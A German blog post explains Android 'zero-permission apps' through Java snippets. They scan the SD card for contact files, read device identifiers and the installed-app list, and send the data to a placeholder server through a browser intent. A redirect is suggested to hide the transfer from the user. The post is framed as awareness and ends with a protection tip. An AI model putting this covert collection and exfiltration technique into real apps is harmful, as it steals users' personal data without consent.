Android Zero-Permission App Beispiel

Android Zero Permission App

Zero-Permission Apps

Im Zuge der Installation einer App auf einem Android-Gerät wird Benutzer aufgefordert, seine Zustimmung für die spezifischen Rechte, die diese benötigt zu geben. Aber was wäre, wenn eine App das Rechtesystem von Android austricksen oder umgehen könnte? Wenn Anwendungen nicht nach einer Erlaubnis fragen müssten? Was (wenn überhaupt) könnten sie auslesen und worauf könnten sie zugreifen? Diese Gefahr stellen sogenannte „Zero Permission Apps“ dar. Wie der Name schon sagt, werden von solch einer App bei der Installation keine Rechte gefordert.

Im Zuge einer Arbeit über dieses Thema ließen sich zwar ein paar Berichte, jedoch nur wenige, bzw. gar keine Beispiele finden. Deswegen soll im Folgenden anhand eines kurzen, mehr oder weniger theoretischen Beispiels dargestellt werden, wie es einer App möglich sein kann, komplett ohne die jeweiligen benötigte Rechte, Daten zu sammeln und diese an einen Server weiterzuleiten und dort abzuspeichern. Dabei geht es bei diesem Beispiel hauptsächlich darum, neue Möglichkeiten zu finden, die es App-Entwicklern ermöglicht auf Rechte zu verzichten und nicht um den Benutzern Schaden zuzufügen. Deshalb wird im Weiteren nicht näher auf Exploits eingegangen um Missbrauch zu vermeiden. Jedenfalls soll gezeigt werden, dass sich ein Benutzer nicht allzu sicher fühlen sollte, auch wenn eine App keine besonderen Rechte benötigt.

Das Sammeln von Daten und Informationen

Vor Android 4.4 kann jede App auf den externen Speicher zugreifen, ohne spezielle Rechte zu benötigten. So könnte eine App eine Liste aller nicht versteckten Dateien erstellen, die sich auf der Speicherkarte befinden oder nach potenziell sensiblen Daten durchsuchen. Wenn sich zum Beispiel elektronische Visitenkarten, kurz vCard oder vcf-Dateien, auf der Speicherkarte befinden, könnten E-Mail-Adressen oder Telefonnummern daraus ausgelesen und gesammelt werden. Auch Text-Dateien würden sich anbieten um diese nach Benutzernamen, Passwörtern, Kreditkartendaten oder ähnlichen heiklen Informationen zu durchsuchen.

// Beispiel einer rekursiven Funktion um SD-Karte nach vcf-Dateien zu durchsuchen.
private void searchVCF(File dir) {
      File[] files = dir.listFiles();
      for (File file : files) {
            if(file.isFile() && file.getName().endsWith(".vcf")) {
                  //Füge Date einer Liste hinzu, etc...
            }else if(file.isDirectory()){
                  searchVCF(file.getAbsoluteFile()); 
            }
      }
}

Identifikation

Die gesammelten Daten müssen einem Benutzer zu geordnet werden können. Für eine Identifikation des Benutzers wäre es zwar nicht möglich die IMEI Nummer auszulesen, da in der Manifest-Datei das Recht „READ_PHONE_STATE“ angegeben werden müsste. Ohne Hilfe eines Exploits konnte dies zwar nicht nachgestellt werden, ein Versuch schadet jedoch nicht:

try {
      TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
      //IMEI
      Log.i("TAG", "IMEI : = " + tm.getDeviceId());
} catch (Exception e) {
      e.printStackTrace();
}

Stattdessen lassen sich GSM und SIM Hersteller ID problemlos auslesen.

TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
if(tm.getPhoneType() == TelephonyManager.PHONE_TYPE_GSM) {
      Log.i("GSM",tm.getNetworkOperator());
}
if(tm.getSimState() == TelephonyManager.SIM_STATE_READY) {
      Log.i("SIM",tm.getSimOperator());
}	

Deswegen würde es sich anbieten die 64-bit lange Android ID oder die Hardware-Seriennummer auszulesen, da man dafür keine weiteren Rechte benötigt. Somit könnten gesammelte Daten durch diese einzigartige ID einem Benutzer leicht zugeordnet werden können.

//Android Id
String androidId = Secure.getString(getContentResolver(), Secure.ANDROID_ID);

Auch die Hardware-Seriennummer könnte von Interesse sein.

//Hardware-Seriennummer 
String androidSerial = android.os.Build.SERIAL; 
//Hardware-Seriennummer unter API 9
String androidSerial = (String)Build.class.getField("SERIAL").get(null);

Nicht ganz so sensible Daten, wie oft und wie lang ein Benutzer die „infizierte“ App benutzt, können für eine Erstellung von Statistiken gesammelt werden. Des weiteren können ohne weiteres auch die Kernelversion und, falls vorhanden, der Name einer installierten Custom-ROM ausgelesen werden.

String kernelVersion = System.getProperty("os.version")

Desweiteren können Informationen über andere installierte Apps gesammelt werden. Eine Liste aller installierten Apps bekommt man folgenderweise:

final PackageManager pm = getPackageManager();
//Liste aller installierten Apps.
List packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

Auch Anrufe oder SMS können initiiert werden, ohne, dass eine App ein Recht dafür benötigt. Im folgen Beispiel wird eine Telefonnummer zum Wählen vorbereitet, jedoch muss der Benutzer noch selbst auf „Wählen“ klicken.

Intent intent = new Intent(Intent.ACTION_DIAL);
intent.setData(Uri.parse("tel:004312345678"))
startActivity(intent);

Die Übertragung

Diese gesammelten Informationen würden nun nur noch an einen zentralen Server übertragen werden. Doch wie soll das funktionieren, ohne dass die App einen Zugriff auf das Internet hätte?
Das vorherige Beispiel hat es schon gezeigt. Der „Trick“ besteht darin, mittels eines Intents, also eines Aufrufs einer anderen App, deren Rechte zu verwenden.

Ohne das Recht eine Internetverbindung zu benötigen, wird der Browser aufgerufen (denn dieser hat das Recht auf eine Internetverbindung) und die zu übertragenen Daten werden im Pfad der aufzurufenden Adresse angegeben.

String url = "http://www.server.com?id="+androidID+"&data="+...;
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(url));
startActivity(i);

Hier würde es sich anbieten, diese Übertragung erst bei der Beendigung der App durchzuführen. Der Server müsste dann nur noch die übertragenen GET-Parameter abspeichern, auswerten, etc. Zudem wäre es möglich, durch die zuvor erwähnte Übertragung die IP-Adresse und den verwendeten Browser des Gerätes zu ermitteln und somit die gesammelten Daten inklusive Lokalisierung auszuwerten. Die vom Browser aufgerufene Adresse würde dann nur noch auf eine andere, seriös wirkende Seite weitergeleitet werden. Somit würde der Anwender von der Übertragung nur schwer etwas bzw. gar nichts mitbekommen.

Paranoia

Kein Grund gleich paranoid zu werden. Am Besten schützt man sich, wenn man sein Android Gerät auf einer aktuellen Version hält und keine persönlichen Daten auf der SD-Karte gespeichert werden.

Tagged with:     , , ,

About the author /


Einst gelernter Werkzeugbautechniker, habe ich vor etlichen Jahren mein Leben der Informatik verschrieben. Zur Zeit studiere ich noch Informatik auf der Fachhochschule Technikum Wien und beschäftige mich am liebsten mit Java, Android und Elektronik.

Related Articles

Post your comments

Your email address will not be published. Required fields are marked *

*

Unterstütz uns!

Folgt uns!

Diese Seite

wurde erstellt mit Ehrgeiz, Liebe und viel Koffein. Bei der Erstellung kamen keine jar-Dateien zu Schaden. Das Logo wurde erstellt von Star-seven.at.